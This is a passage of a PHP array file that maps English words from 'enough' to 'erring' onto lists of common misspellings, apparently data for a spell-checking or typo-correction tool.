enough',\r\n\t\t\t\t\t'enought',\r\n\t\t\t\t],\r\n\t\t\t\t'enrichment'=>[\r\n\t\t\t\t\t'enrichmant',\r\n\t\t\t\t],\r\n\t\t\t\t'enroll'=>[\r\n\t\t\t\t\t'enrole',\r\n\t\t\t\t\t'enrol',\r\n\t\t\t\t],\r\n\t\t\t\t'enrollment'=>[\r\n\t\t\t\t\t'enrolement',\r\n\t\t\t\t\t'enrollmant',\r\n\t\t\t\t\t'enrolment',\r\n\t\t\t\t],\r\n\t\t\t\t'ensanguining'=>[\r\n\t\t\t\t\t'ensanguinang',\r\n\t\t\t\t],\r\n\t\t\t\t'ensconce'=>[\r\n\t\t\t\t\t'enconce',\r\n\t\t\t\t\t'encsonce',\r\n\t\t\t\t\t'ensonce',\r\n\t\t\t\t],\r\n\t\t\t\t'enshrine'=>[\r\n\t\t\t\t\t'enshrini',\r\n\t\t\t\t],\r\n\t\t\t\t'enshrinements'=>[\r\n\t\t\t\t\t'enshriniments',\r\n\t\t\t\t],\r\n\t\t\t\t'ensigncy'=>[\r\n\t\t\t\t\t'ensignsy',\r\n\t\t\t\t],\r\n\t\t\t\t'ensorcellments'=>[\r\n\t\t\t\t\t'ensorcellmants',\r\n\t\t\t\t],\r\n\t\t\t\t'ensue'=>[\r\n\t\t\t\t\t'insue',\r\n\t\t\t\t\t'insue etc.',\r\n\t\t\t\t],\r\n\t\t\t\t'ensued'=>[\r\n\t\t\t\t\t'unsued',\r\n\t\t\t\t],\r\n\t\t\t\t'ensuing'=>[\r\n\t\t\t\t\t'ensueing',\r\n\t\t\t\t],\r\n\t\t\t\t'ensuring'=>[\r\n\t\t\t\t\t'ensureing',\r\n\t\t\t\t],\r\n\t\t\t\t'entail'=>[\r\n\t\t\t\t\t'antail',\r\n\t\t\t\t],\r\n\t\t\t\t'entangle'=>[\r\n\t\t\t\t\t'antangle',\r\n\t\t\t\t],\r\n\t\t\t\t'entelechies'=>[\r\n\t\t\t\t\t'entelecheis',\r\n\t\t\t\t\t'entelechis',\r\n\t\t\t\t],\r\n\t\t\t\t'entente'=>[\r\n\t\t\t\t\t'entante',\r\n\t\t\t\t],\r\n\t\t\t\t'enter'=>[\r\n\t\t\t\t\t'enter enter',\r\n\t\t\t\t\t'enter enter enter',\r\n\t\t\t\t\t'anter',\r\n\t\t\t\t],\r\n\t\t\t\t'entera'=>[\r\n\t\t\t\t\t'antera',\r\n\t\t\t\t],\r\n\t\t\t\t'entered'=>[\r\n\t\t\t\t\t'entred',\r\n\t\t\t\t],\r\n\t\t\t\t'enteric'=>[\r\n\t\t\t\t\t'anteric',\r\n\t\t\t\t],\r\n\t\t\t\t'enterobacteria'=>[\r\n\t\t\t\t\t'anterobacteria',\r\n\t\t\t\t],\r\n\t\t\t\t'enterobacterial'=>[\r\n\t\t\t\t\t'anterobacterial',\r\n\t\t\t\t],\r\n\t\t\t\t'enterobacterium'=>[\r\n\t\t\t\t\t'anterobacterium',\r\n\t\t\t\t],\r\n\t\t\t\t'enterococcal'=>[\r\n\t\t\t\t\t'enterococal',\r\n\t\t\t\t],\r\n\t\t\t\t'enterococci'=>[\r\n\t\t\t\t\t'enterococi',\r\n\t\t\t\t],\r\n\t\t\t\t'enterococcus'=>[\r\n\t\t\t\t\t'anterococcus',\r\n\t\t\t\t\t'enterococus',\r\n\t\t\t\t],\r\n\t\t\t\t'enterocolitis'=>[\r\n\t\t\t\t\t'anterocolitis',\r\n\t\t\t\t],\r\n\t\t\t\t'enterocolitises'=>[\r\n\t\t\t\t\t'anterocolitises',\r\n\t\t\t\t],\r\n\t\t\t\t'enterogastrone'=>[\r\n\t\t\t\t\t'anterogastrone',\r\n\t\t\t\t],\r\n\t\t\t\t'enterogastrones'=>[\r\n\t\t\t\t\t'anterogastrones',\r\n\t\t\t\t],\r\n\t\t\t\t'enterokinase'=>[\r\n\t\t\t\t\t'enterokinise',\r\n\t\t\t\t],\r\n\t\t\t\t'enterprise'=>[\r\n\t\t\t\t\t'enteprise',\r\n\t\t\t\t\t'anterprise',\r\n\t\t\t\t],\r\n\t\t\t\t'enterprising'=>[\r\n\t\t\t\t\t'anterprising',\r\n\t\t\t\t],\r\n\t\t\t\t'enters'=>[\r\n\t\t\t\t\t'anters',\r\n\t\t\t\t],\r\n\t\t\t\t'entertain'=>[\r\n\t\t\t\t\t'antertain',\r\n\t\t\t\t],\r\n\t\t\t\t'entertaining'=>[\r\n\t\t\t\t\t'intertaining',\r\n\t\t\t\t\t'antertaining',\r\n\t\t\t\t\t'entertainang',\r\n\t\t\t\t],\r\n\t\t\t\t'entertainingly'=>[\r\n\t\t\t\t\t'antertainingly',\r\n\t\t\t\t\t'entertainangly',\r\n\t\t\t\t],\r\n\t\t\t\t'entertainment'=>[\r\n\t\t\t\t\t'entertaiment',\r\n\t\t\t\t\t'entertainement',\r\n\t\t\t\t\t'entertainent',\r\n\t\t\t\t\t'entertainmant',\r\n\t\t\t\t],\r\n\t\t\t\t'entertainments'=>[\r\n\t\t\t\t\t'entertaiments',\r\n\t\t\t\t\t'entertainents',\r\n\t\t\t\t\t'entertainmants',\r\n\t\t\t\t],\r\n\t\t\t\t'enthalpy'=>[\r\n\t\t\t\t\t'anthalpy',\r\n\t\t\t\t],\r\n\t\t\t\t'enthralled'=>[\r\n\t\t\t\t\t'enthralledd',\r\n\t\t\t\t],\r\n\t\t\t\t'enthuse'=>[\r\n\t\t\t\t\t'anthuse',\r\n\t\t\t\t],\r\n\t\t\t\t'enthusiasm'=>[\r\n\t\t\t\t\t'enthusiam',\r\n\t\t\t\t\t'anthusiasm',\r\n\t\t\t\t\t'enthuisasm',\r\n\t\t\t\t],\r\n\t\t\t\t'enthusiasms'=>[\r\n\t\t\t\t\t'enthuisasms',\r\n\t\t\t\t],\r\n\t\t\t\t'enthusiast'=>[\r\n\t\t\t\t\t'enthusiat',\r\n\t\t\t\t\t'anthusiast',\r\n\t\t\t\t\t'enthuisast',\r\n\t\t\t\t],\r\n\t\t\t\t'enthusiastic'=>[\r\n\t\t\t\t\t'enthusiatic',\r\n\t\t\t\t\t'entlinsiastic',\r\n\t\t\t\t\t'anthusiastic',\r\n\t\t\t\t\t'enthuisastic',\r\n\t\t\t\t],\r\n\t\t\t\t'enthusiasts'=>[\r\n\t\t\t\t\t'enthuisasts',\r\n\t\t\t\t],\r\n\t\t\t\t'enthusing'=>[\r\n\t\t\t\t\t'enthuisng',\r\n\t\t\t\t],\r\n\t\t\t\t'enthymeme'=>[\r\n\t\t\t\t\t'enthyme',\r\n\t\t\t\t],\r\n\t\t\t\t'enthymemes'=>[\r\n\t\t\t\t\t'enthymes',\r\n\t\t\t\t],\r\n\t\t\t\t'entia'=>[\r\n\t\t\t\t\t'antia',\r\n\t\t\t\t],\r\n\t\t\t\t'entice'=>[\r\n\t\t\t\t\t'intice',\r\n\t\t\t\t\t'antice',\r\n\t\t\t\t],\r\n\t\t\t\t'entire'=>[\r\n\t\t\t\t\t'entrie',\r\n\t\t\t\t\t'antire',\r\n\t\t\t\t],\r\n\t\t\t\t'entirely'=>[\r\n\t\t\t\t\t'antirely',\r\n\t\t\t\t\t'entireally',\r\n\t\t\t\t\t'entirealy',\r\n\t\t\t\t\t'entireely',\r\n\t\t\t\t\t'entirelly',\r\n\t\t\t\t\t'entirly',\r\n\t\t\t\t],\r\n\t\t\t\t'entirety'=>[\r\n\t\t\t\t\t'antirety',\r\n\t\t\t\t],\r\n\t\t\t\t'entities'=>[\r\n\t\t\t\t\t'entites',\r\n\t\t\t\t],\r\n\t\t\t\t'entitle'=>[\r\n\t\t\t\t\t'antitle',\r\n\t\t\t\t],\r\n\t\t\t\t'entitled'=>[\r\n\t\t\t\t\t'entilted',\r\n\t\t\t\t\t'entited',\r\n\t\t\t\t\t'entitied',\r\n\t\t\t\t],\r\n\t\t\t\t'entitlement'=>[\r\n\t\t\t\t\t'entitlemant',\r\n\t\t\t\t],\r\n\t\t\t\t'entity'=>[\r\n\t\t\t\t\t'enitity',\r\n\t\t\t\t\t'enity',\r\n\t\t\t\t\t'antity',\r\n\t\t\t\t],\r\n\t\t\t\t'entoil'=>[\r\n\t\t\t\t\t'antoil',\r\n\t\t\t\t],\r\n\t\t\t\t'entomb'=>[\r\n\t\t\t\t\t'antomb',\r\n\t\t\t\t],\r\n\t\t\t\t'entomologically'=>[\r\n\t\t\t\t\t'antomologically',\r\n\t\t\t\t\t'entomologicalally',\r\n\t\t\t\t\t'entomologicalaly',\r\n\t\t\t\t\t'entomologicalely',\r\n\t\t\t\t\t'entomologicallly',\r\n\t\t\t\t],\r\n\t\t\t\t'entomophagous'=>[\r\n\t\t\t\t\t'antomophagous',\r\n\t\t\t\t],\r\n\t\t\t\t'entomophilous'=>[\r\n\t\t\t\t\t'antomophilous',\r\n\t\t\t\t],\r\n\t\t\t\t'entourage'=>[\r\n\t\t\t\t\t'antourage',\r\n\t\t\t\t],\r\n\t\t\t\t'entrails'=>[\r\n\t\t\t\t\t'antrails',\r\n\t\t\t\t],\r\n\t\t\t\t'entrain'=>[\r\n\t\t\t\t\t'antrain',\r\n\t\t\t\t],\r\n\t\t\t\t'entrainment'=>[\r\n\t\t\t\t\t'entraiment',\r\n\t\t\t\t\t'entrainent',\r\n\t\t\t\t],\r\n\t\t\t\t'entrainments'=>[\r\n\t\t\t\t\t'entraiments',\r\n\t\t\t\t\t'entrainents',\r\n\t\t\t\t],\r\n\t\t\t\t'entrance'=>[\r\n\t\t\t\t\t'enterance',\r\n\t\t\t\t\t'entrace',\r\n\t\t\t\t\t'entrence',\r\n\t\t\t\t\t'antrance',\r\n\t\t\t\t],\r\n\t\t\t\t'entrances'=>[\r\n\t\t\t\t\t'entrences',\r\n\t\t\t\t],\r\n\t\t\t\t'entrant'=>[\r\n\t\t\t\t\t'antrant',\r\n\t\t\t\t\t'entrent',\r\n\t\t\t\t],\r\n\t\t\t\t'entrap'=>[\r\n\t\t\t\t\t'antrap',\r\n\t\t\t\t],\r\n\t\t\t\t'entre'=>[\r\n\t\t\t\t\t'emtre',\r\n\t\t\t\t],\r\n\t\t\t\t'entreat'=>[\r\n\t\t\t\t\t'antreat',\r\n\t\t\t\t],\r\n\t\t\t\t'entree'=>[\r\n\t\t\t\t\t'antree',\r\n\t\t\t\t],\r\n\t\t\t\t'entrench'=>[\r\n\t\t\t\t\t'antrench',\r\n\t\t\t\t],\r\n\t\t\t\t'entrepreneur'=>[\r\n\t\t\t\t\t'enterpreneur',\r\n\t\t\t\t\t'entrepeneur',\r\n\t\t\t\t\t'entreprenuer',\r\n\t\t\t\t\t'antrepreneur',\r\n\t\t\t\t\t'entreprener',\r\n\t\t\t\t],\r\n\t\t\t\t'entrepreneurial'=>[\r\n\t\t\t\t\t'entrepeneurial',\r\n\t\t\t\t\t'antrepreneurial',\r\n\t\t\t\t],\r\n\t\t\t\t'entrepreneurs'=>[\r\n\t\t\t\t\t'entrepeneurs',\r\n\t\t\t\t],\r\n\t\t\t\t'entropy'=>[\r\n\t\t\t\t\t'antropy',\r\n\t\t\t\t],\r\n\t\t\t\t'entrust'=>[\r\n\t\t\t\t\t'intrust',\r\n\t\t\t\t\t'antrust',\r\n\t\t\t\t],\r\n\t\t\t\t'entrusted'=>[\r\n\t\t\t\t\t'intrusted',\r\n\t\t\t\t],\r\n\t\t\t\t'entry'=>[\r\n\t\t\t\t\t'antry',\r\n\t\t\t\t],\r\n\t\t\t\t'entryway'=>[\r\n\t\t\t\t\t'antryway',\r\n\t\t\t\t],\r\n\t\t\t\t'entwine'=>[\r\n\t\t\t\t\t'antwine',\r\n\t\t\t\t\t'entwini',\r\n\t\t\t\t],\r\n\t\t\t\t'enumerabilities'=>[\r\n\t\t\t\t\t'enumerabiliteis',\r\n\t\t\t\t\t'enumerabilitis',\r\n\t\t\t\t],\r\n\t\t\t\t'enviable'=>[\r\n\t\t\t\t\t'enviible',\r\n\t\t\t\t],\r\n\t\t\t\t'envious'=>[\r\n\t\t\t\t\t'envous',\r\n\t\t\t\t],\r\n\t\t\t\t'enviously'=>[\r\n\t\t\t\t\t'envously',\r\n\t\t\t\t],\r\n\t\t\t\t'environment'=>[\r\n\t\t\t\t\t'enivoriment',\r\n\t\t\t\t\t'enviorment',\r\n\t\t\t\t\t'enviornment',\r\n\t\t\t\t\t'enviroment',\r\n\t\t\t\t\t'environent',\r\n\t\t\t\t\t'environmant',\r\n\t\t\t\t],\r\n\t\t\t\t'environmental'=>[\r\n\t\t\t\t\t'enviormental',\r\n\t\t\t\t\t'enviornmental',\r\n\t\t\t\t\t'enviromental',\r\n\t\t\t\t\t'environental',\r\n\t\t\t\t\t'environmantal',\r\n\t\t\t\t],\r\n\t\t\t\t'environmentalist'=>[\r\n\t\t\t\t\t'enviornmentalist',\r\n\t\t\t\t\t'enviromentalist',\r\n\t\t\t\t],\r\n\t\t\t\t'environmentally'=>[\r\n\t\t\t\t\t'enviormentally',\r\n\t\t\t\t\t'enviornmentally',\r\n\t\t\t\t\t'enviromentally',\r\n\t\t\t\t\t'environentally',\r\n\t\t\t\t\t'environmantally',\r\n\t\t\t\t],\r\n\t\t\t\t'environments'=>[\r\n\t\t\t\t\t'enviorments',\r\n\t\t\t\t\t'enviornments',\r\n\t\t\t\t\t'enviroments',\r\n\t\t\t\t\t'environents',\r\n\t\t\t\t],\r\n\t\t\t\t'eohippus'=>[\r\n\t\t\t\t\t'eohipus',\r\n\t\t\t\t],\r\n\t\t\t\t'eolian'=>[\r\n\t\t\t\t\t'eolan',\r\n\t\t\t\t],\r\n\t\t\t\t'eonian'=>[\r\n\t\t\t\t\t'eonan',\r\n\t\t\t\t],\r\n\t\t\t\t'eosine'=>[\r\n\t\t\t\t\t'eosini',\r\n\t\t\t\t],\r\n\t\t\t\t'eosinic'=>[\r\n\t\t\t\t\t'eosinac',\r\n\t\t\t\t],\r\n\t\t\t\t'eparchial'=>[\r\n\t\t\t\t\t'eperchial',\r\n\t\t\t\t],\r\n\t\t\t\t'eparchies'=>[\r\n\t\t\t\t\t'eperchies',\r\n\t\t\t\t],\r\n\t\t\t\t'eparchs'=>[\r\n\t\t\t\t\t'eperchs',\r\n\t\t\t\t],\r\n\t\t\t\t'eparchy'=>[\r\n\t\t\t\t\t'eperchy',\r\n\t\t\t\t],\r\n\t\t\t\t'epeeist'=>[\r\n\t\t\t\t\t'epeiest',\r\n\t\t\t\t],\r\n\t\t\t\t'epeiric'=>[\r\n\t\t\t\t\t'epieric',\r\n\t\t\t\t],\r\n\t\t\t\t'epeirogenic'=>[\r\n\t\t\t\t\t'epierogenic',\r\n\t\t\t\t],\r\n\t\t\t\t'epeirogenically'=>[\r\n\t\t\t\t\t'epeirogenicalally',\r\n\t\t\t\t\t'epeirogenicalaly',\r\n\t\t\t\t\t'epeirogenicalely',\r\n\t\t\t\t\t'epeirogenicallly',\r\n\t\t\t\t\t'epierogenically',\r\n\t\t\t\t],\r\n\t\t\t\t'epeirogenies'=>[\r\n\t\t\t\t\t'epierogenies',\r\n\t\t\t\t],\r\n\t\t\t\t'epeirogeny'=>[\r\n\t\t\t\t\t'epierogeny',\r\n\t\t\t\t],\r\n\t\t\t\t'ephah'=>[\r\n\t\t\t\t\t'epha',\r\n\t\t\t\t],\r\n\t\t\t\t'ephahs'=>[\r\n\t\t\t\t\t'ephas',\r\n\t\t\t\t],\r\n\t\t\t\t'ephedrine'=>[\r\n\t\t\t\t\t'ephedrini',\r\n\t\t\t\t],\r\n\t\t\t\t'ephemeralities'=>[\r\n\t\t\t\t\t'ephemeraliteis',\r\n\t\t\t\t\t'ephemeralitis',\r\n\t\t\t\t],\r\n\t\t\t\t'epiboly'=>[\r\n\t\t\t\t\t'epiboally',\r\n\t\t\t\t\t'epiboaly',\r\n\t\t\t\t\t'epiboely',\r\n\t\t\t\t\t'epibolly',\r\n\t\t\t\t],\r\n\t\t\t\t'epicenter'=>[\r\n\t\t\t\t\t'epicanter',\r\n\t\t\t\t],\r\n\t\t\t\t'epicontinental'=>[\r\n\t\t\t\t\t'epicontinantal',\r\n\t\t\t\t\t'epicontinintal',\r\n\t\t\t\t],\r\n\t\t\t\t'epicuticular'=>[\r\n\t\t\t\t\t'epicuticuler',\r\n\t\t\t\t],\r\n\t\t\t\t'epidemiologies'=>[\r\n\t\t\t\t\t'epidemiologeis',\r\n\t\t\t\t\t'epidemiologis',\r\n\t\t\t\t],\r\n\t\t\t\t'epigrammatic'=>[\r\n\t\t\t\t\t'epigramnatic',\r\n\t\t\t\t],\r\n\t\t\t\t'epigrammatism'=>[\r\n\t\t\t\t\t'epigramnatism',\r\n\t\t\t\t],\r\n\t\t\t\t'epigrammatisms'=>[\r\n\t\t\t\t\t'epigramnatisms',\r\n\t\t\t\t],\r\n\t\t\t\t'epigrammatist'=>[\r\n\t\t\t\t\t'epigramnatist',\r\n\t\t\t\t],\r\n\t\t\t\t'epigrammatists'=>[\r\n\t\t\t\t\t'epigramnatists',\r\n\t\t\t\t],\r\n\t\t\t\t'epigrammatize'=>[\r\n\t\t\t\t\t'epigramnatize',\r\n\t\t\t\t],\r\n\t\t\t\t'epigrammatized'=>[\r\n\t\t\t\t\t'epigramnatized',\r\n\t\t\t\t],\r\n\t\t\t\t'epigrammatizer'=>[\r\n\t\t\t\t\t'epigramnatizer',\r\n\t\t\t\t],\r\n\t\t\t\t'epigrammatizers'=>[\r\n\t\t\t\t\t'epigramnatizers',\r\n\t\t\t\t],\r\n\t\t\t\t'epigrammatizes'=>[\r\n\t\t\t\t\t'epigramnatizes',\r\n\t\t\t\t],\r\n\t\t\t\t'epigrammatizing'=>[\r\n\t\t\t\t\t'epigramnatizing',\r\n\t\t\t\t],\r\n\t\t\t\t'epigraphies'=>[\r\n\t\t\t\t\t'epigrapheis',\r\n\t\t\t\t\t'epigraphis',\r\n\t\t\t\t],\r\n\t\t\t\t'epilepsy'=>[\r\n\t\t\t\t\t'epilepcy',\r\n\t\t\t\t],\r\n\t\t\t\t'epinasty'=>[\r\n\t\t\t\t\t'epinisty',\r\n\t\t\t\t],\r\n\t\t\t\t'epinephrine'=>[\r\n\t\t\t\t\t'epinephrini',\r\n\t\t\t\t],\r\n\t\t\t\t'epineurium'=>[\r\n\t\t\t\t\t'epiniurium',\r\n\t\t\t\t],\r\n\t\t\t\t'epiphytologies'=>[\r\n\t\t\t\t\t'epiphytologeis',\r\n\t\t\t\t\t'epiphytologis',\r\n\t\t\t\t],\r\n\t\t\t\t'epirogenies'=>[\r\n\t\t\t\t\t'epirogeneis',\r\n\t\t\t\t\t'epirogenis',\r\n\t\t\t\t],\r\n\t\t\t\t'episcopacy'=>[\r\n\t\t\t\t\t'epicopacy',\r\n\t\t\t\t\t'epicsopacy',\r\n\t\t\t\t\t'episcopasy',\r\n\t\t\t\t\t'episopacy',\r\n\t\t\t\t],\r\n\t\t\t\t'episcopal'=>[\r\n\t\t\t\t\t'epicopal',\r\n\t\t\t\t\t'epicsopal',\r\n\t\t\t\t\t'episopal',\r\n\t\t\t\t],\r\n\t\t\t\t'episcopate'=>[\r\n\t\t\t\t\t'epicopate',\r\n\t\t\t\t\t'epicsopate',\r\n\t\t\t\t\t'episopate',\r\n\t\t\t\t],\r\n\t\t\t\t'episode'=>[\r\n\t\t\t\t\t'epiode',\r\n\t\t\t\t\t'eposide',\r\n\t\t\t\t\t'epsiode',\r\n\t\t\t\t],\r\n\t\t\t\t'episodes'=>[\r\n\t\t\t\t\t'kpisodes',\r\n\t\t\t\t],\r\n\t\t\t\t'epistasy'=>[\r\n\t\t\t\t\t'epistacy',\r\n\t\t\t\t],\r\n\t\t\t\t'epistemologies'=>[\r\n\t\t\t\t\t'epistemologeis',\r\n\t\t\t\t\t'epistemologis',\r\n\t\t\t\t],\r\n\t\t\t\t'epistolary'=>[\r\n\t\t\t\t\t'epistolery',\r\n\t\t\t\t],\r\n\t\t\t\t'epitome'=>[\r\n\t\t\t\t\t'epitomy',\r\n\t\t\t\t],\r\n\t\t\t\t'epizootiologies'=>[\r\n\t\t\t\t\t'epizootiologeis',\r\n\t\t\t\t\t'epizootiologis',\r\n\t\t\t\t],\r\n\t\t\t\t'equability'=>[\r\n\t\t\t\t\t'eqaubility',\r\n\t\t\t\t],\r\n\t\t\t\t'equable'=>[\r\n\t\t\t\t\t'eqauble',\r\n\t\t\t\t\t'equible',\r\n\t\t\t\t],\r\n\t\t\t\t'equablenesses'=>[\r\n\t\t\t\t\t'eqaublenesses',\r\n\t\t\t\t],\r\n\t\t\t\t'equal'=>[\r\n\t\t\t\t\t'equal equal',\r\n\t\t\t\t\t'equal equal equal',\r\n\t\t\t\t\t'eqaul',\r\n\t\t\t\t],\r\n\t\t\t\t'equalisers'=>[\r\n\t\t\t\t\t'eqaulisers',\r\n\t\t\t\t],\r\n\t\t\t\t'equalising'=>[\r\n\t\t\t\t\t'eqaulising',\r\n\t\t\t\t],\r\n\t\t\t\t'equalitarian'=>[\r\n\t\t\t\t\t'eqaulitarian',\r\n\t\t\t\t\t'equalitaran',\r\n\t\t\t\t],\r\n\t\t\t\t'equalitarianism'=>[\r\n\t\t\t\t\t'eqaulitarianism',\r\n\t\t\t\t],\r\n\t\t\t\t'equalitarians'=>[\r\n\t\t\t\t\t'eqaulitarians',\r\n\t\t\t\t],\r\n\t\t\t\t'equalities'=>[\r\n\t\t\t\t\t'eqaulities',\r\n\t\t\t\t],\r\n\t\t\t\t'equality'=>[\r\n\t\t\t\t\t'eqaulity',\r\n\t\t\t\t],\r\n\t\t\t\t'equalizations'=>[\r\n\t\t\t\t\t'eqaulizations',\r\n\t\t\t\t],\r\n\t\t\t\t'equalize'=>[\r\n\t\t\t\t\t'eqaulize',\r\n\t\t\t\t],\r\n\t\t\t\t'equalizer'=>[\r\n\t\t\t\t\t'eqaulizer',\r\n\t\t\t\t],\r\n\t\t\t\t'equalizers'=>[\r\n\t\t\t\t\t'eqaulizers',\r\n\t\t\t\t],\r\n\t\t\t\t'equalizing'=>[\r\n\t\t\t\t\t'eqaulizing',\r\n\t\t\t\t],\r\n\t\t\t\t'equally'=>[\r\n\t\t\t\t\t'eqaully',\r\n\t\t\t\t\t'equaly',\r\n\t\t\t\t],\r\n\t\t\t\t'equals'=>[\r\n\t\t\t\t\t'eqauls',\r\n\t\t\t\t],\r\n\t\t\t\t'equaly'=>[\r\n\t\t\t\t\t'eqaul',\r\n\t\t\t\t],\r\n\t\t\t\t'equanimity'=>[\r\n\t\t\t\t\t'eqaunimity',\r\n\t\t\t\t],\r\n\t\t\t\t'equate'=>[\r\n\t\t\t\t\t'equate equate',\r\n\t\t\t\t\t'equate equate equate',\r\n\t\t\t\t\t'eqaute',\r\n\t\t\t\t],\r\n\t\t\t\t'equation'=>[\r\n\t\t\t\t\t'eqaution',\r\n\t\t\t\t],\r\n\t\t\t\t'equational'=>[\r\n\t\t\t\t\t'eqautional',\r\n\t\t\t\t],\r\n\t\t\t\t'equator'=>[\r\n\t\t\t\t\t'eqautor',\r\n\t\t\t\t],\r\n\t\t\t\t'equatorial'=>[\r\n\t\t\t\t\t'equitorial',\r\n\t\t\t\t\t'eqautorial',\r\n\t\t\t\t],\r\n\t\t\t\t'equerry'=>[\r\n\t\t\t\t\t'equery',\r\n\t\t\t\t],\r\n\t\t\t\t'equestrian'=>[\r\n\t\t\t\t\t'equestran',\r\n\t\t\t\t],\r\n\t\t\t\t'equestrienne'=>[\r\n\t\t\t\t\t'equestreinne',\r\n\t\t\t\t\t'equestriene',\r\n\t\t\t\t\t'equestrinne',\r\n\t\t\t\t],\r\n\t\t\t\t'equestriennes'=>[\r\n\t\t\t\t\t'equestrienes',\r\n\t\t\t\t],\r\n\t\t\t\t'equiangular'=>[\r\n\t\t\t\t\t'equianguler',\r\n\t\t\t\t],\r\n\t\t\t\t'equidistant'=>[\r\n\t\t\t\t\t'equidistent',\r\n\t\t\t\t],\r\n\t\t\t\t'equidistantly'=>[\r\n\t\t\t\t\t'equidistantally',\r\n\t\t\t\t\t'equidistantaly',\r\n\t\t\t\t\t'equidistantely',\r\n\t\t\t\t\t'equidistantlly',\r\n\t\t\t\t\t'equidistently',\r\n\t\t\t\t],\r\n\t\t\t\t'equilibrium'=>[\r\n\t\t\t\t\t'equilibium',\r\n\t\t\t\t\t'equilibrum',\r\n\t\t\t\t],\r\n\t\t\t\t'equimolar'=>[\r\n\t\t\t\t\t'equimoler',\r\n\t\t\t\t],\r\n\t\t\t\t'equine'=>[\r\n\t\t\t\t\t'equini',\r\n\t\t\t\t],\r\n\t\t\t\t'equinely'=>[\r\n\t\t\t\t\t'equinly',\r\n\t\t\t\t],\r\n\t\t\t\t'equipment'=>[\r\n\t\t\t\t\t'equippment',\r\n\t\t\t\t\t'equiptment',\r\n\t\t\t\t\t'equipmant',\r\n\t\t\t\t],\r\n\t\t\t\t'equipollence'=>[\r\n\t\t\t\t\t'equipollance',\r\n\t\t\t\t],\r\n\t\t\t\t'equiponderant'=>[\r\n\t\t\t\t\t'equiponderent',\r\n\t\t\t\t],\r\n\t\t\t\t'equipotential'=>[\r\n\t\t\t\t\t'equipotantial',\r\n\t\t\t\t],\r\n\t\t\t\t'equipped'=>[\r\n\t\t\t\t\t'equiped',\r\n\t\t\t\t],\r\n\t\t\t\t'equipper'=>[\r\n\t\t\t\t\t'equiper',\r\n\t\t\t\t],\r\n\t\t\t\t'equiprobable'=>[\r\n\t\t\t\t\t'equiprobible',\r\n\t\t\t\t],\r\n\t\t\t\t'equitabilities'=>[\r\n\t\t\t\t\t'equitabiliteis',\r\n\t\t\t\t\t'equitabilitis',\r\n\t\t\t\t],\r\n\t\t\t\t'equitable'=>[\r\n\t\t\t\t\t'equitible',\r\n\t\t\t\t],\r\n\t\t\t\t'equitant'=>[\r\n\t\t\t\t\t'equitent',\r\n\t\t\t\t],\r\n\t\t\t\t'equivalence'=>[\r\n\t\t\t\t\t'equivalance',\r\n\t\t\t\t],\r\n\t\t\t\t'equivalency'=>[\r\n\t\t\t\t\t'equivalensy',\r\n\t\t\t\t],\r\n\t\t\t\t'equivalent'=>[\r\n\t\t\t\t\t'equilavent',\r\n\t\t\t\t\t'equivalant',\r\n\t\t\t\t\t'equivelant',\r\n\t\t\t\t\t'equivelent',\r\n\t\t\t\t\t'equivilant',\r\n\t\t\t\t\t'equivilent',\r\n\t\t\t\t\t'equivolent',\r\n\t\t\t\t],\r\n\t\t\t\t'equivocal'=>[\r\n\t\t\t\t\t'equivoval',\r\n\t\t\t\t],\r\n\t\t\t\t'equivocalities'=>[\r\n\t\t\t\t\t'equivocaliteis',\r\n\t\t\t\t\t'equivocalitis',\r\n\t\t\t\t],\r\n\t\t\t\t'eradicate'=>[\r\n\t\t\t\t\t'erradicate',\r\n\t\t\t\t],\r\n\t\t\t\t'erasable'=>[\r\n\t\t\t\t\t'erasible',\r\n\t\t\t\t],\r\n\t\t\t\t'erect'=>[\r\n\t\t\t\t\t'errect',\r\n\t\t\t\t],\r\n\t\t\t\t'erected'=>[\r\n\t\t\t\t\t'erested',\r\n\t\t\t\t\t'errected',\r\n\t\t\t\t],\r\n\t\t\t\t'ergometries'=>[\r\n\t\t\t\t\t'ergometreis',\r\n\t\t\t\t\t'ergometris',\r\n\t\t\t\t],\r\n\t\t\t\t'ergotamine'=>[\r\n\t\t\t\t\t'ergotamini',\r\n\t\t\t\t],\r\n\t\t\t\t'eritrean-occupied'=>[\r\n\t\t\t\t\t'eritrean occupied',\r\n\t\t\t\t],\r\n\t\t\t\t'ermine'=>[\r\n\t\t\t\t\t'ermini',\r\n\t\t\t\t],\r\n\t\t\t\t'erode'=>[\r\n\t\t\t\t\t'errode',\r\n\t\t\t\t],\r\n\t\t\t\t'eroded'=>[\r\n\t\t\t\t\t'erroded',\r\n\t\t\t\t],\r\n\t\t\t\t'erodent'=>[\r\n\t\t\t\t\t'erodant',\r\n\t\t\t\t],\r\n\t\t\t\t'erodible'=>[\r\n\t\t\t\t\t'erodable',\r\n\t\t\t\t],\r\n\t\t\t\t'eroding'=>[\r\n\t\t\t\t\t'errode',\r\n\t\t\t\t],\r\n\t\t\t\t'erosely'=>[\r\n\t\t\t\t\t'erosly',\r\n\t\t\t\t],\r\n\t\t\t\t'erosible'=>[\r\n\t\t\t\t\t'erosable',\r\n\t\t\t\t],\r\n\t\t\t\t'erosion'=>[\r\n\t\t\t\t\t'errosion',\r\n\t\t\t\t],\r\n\t\t\t\t'erosivities'=>[\r\n\t\t\t\t\t'erosiviteis',\r\n\t\t\t\t\t'erosivitis',\r\n\t\t\t\t],\r\n\t\t\t\t'errable'=>[\r\n\t\t\t\t\t'errible',\r\n\t\t\t\t],\r\n\t\t\t\t'errancy'=>[\r\n\t\t\t\t\t'erancy',\r\n\t\t\t\t\t'erransy',\r\n\t\t\t\t],\r\n\t\t\t\t'errand'=>[\r\n\t\t\t\t\t'erand',\r\n\t\t\t\t],\r\n\t\t\t\t'errant'=>[\r\n\t\t\t\t\t'erant',\r\n\t\t\t\t\t'errent',\r\n\t\t\t\t],\r\n\t\t\t\t'errantry'=>[\r\n\t\t\t\t\t'erantry',\r\n\t\t\t\t],\r\n\t\t\t\t'errata'=>[\r\n\t\t\t\t\t'erata',\r\n\t\t\t\t],\r\n\t\t\t\t'erratic'=>[\r\n\t\t\t\t\t'eratic',\r\n\t\t\t\t],\r\n\t\t\t\t'erratically'=>[\r\n\t\t\t\t\t'eraticly',\r\n\t\t\t\t],\r\n\t\t\t\t'erratum'=>[\r\n\t\t\t\t\t'eratum',\r\n\t\t\t\t],\r\n\t\t\t\t'erred'=>[\r\n\t\t\t\t\t'ered',\r\n\t\t\t\t],\r\n\t\t\t\t'errhine'=>[\r\n\t\t\t\t\t'erhine',\r\n\t\t\t\t],\r\n\t\t\t\t'erring'=>[\r\n\t\